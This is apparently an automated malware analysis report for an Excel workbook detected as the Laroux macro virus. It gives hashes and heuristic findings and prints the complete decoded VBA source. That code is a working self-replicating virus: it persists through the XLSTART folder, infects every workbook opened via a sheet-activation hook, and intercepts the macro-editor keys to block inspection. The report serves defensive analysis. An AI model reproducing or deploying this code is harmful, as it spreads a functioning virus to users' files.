Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 327b98a2e93045f9…

MALICIOUS

Office (OLE)

28.0 KB Created: 2012-11-27 01:21:20 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 6faffea44f62bcc0de355a2174b1facd SHA-1: aba92e5c009eb08a6dfa98d3c09d09e0ae5bdd75 SHA-256: 327b98a2e93045f942da61ec73f64113b154127711237e30e8d1bfecb79bb112
208 Risk Score

Heuristics 6

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
      If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
      Application.OnSheetActivate = "StartUp.xls!acop"
  • VBA hooks the VBE-editor / macro-list keys to evade inspection high OLE_VBA_VBE_KEY_HOOK_EVASION
    The macro reroutes Alt+F11 (Visual Basic editor) and/or Alt+F8 (macro list) through Application.OnKey, so an analyst's attempt to open the macro code is intercepted. This anti-analysis trick is a hallmark of resident Excel macro viruses hiding the viral module while it is loaded.
    Matched line in script
      Application.OnKey "%{F11}", "StartUp.xls!escape"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1567 bytes
SHA-256: b58f715d6dbc9866fa15e635e1dcf4e802dfd8593a69d26b8dbb6db130fe4f38
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!acop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub acop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

Sub aback()
  On Error Resume Next
  Application.OnKey "%{F8}", "StartUp.xls!escape"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnSheetActivate = "StartUp.xls!acop"
  Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!acop"
  Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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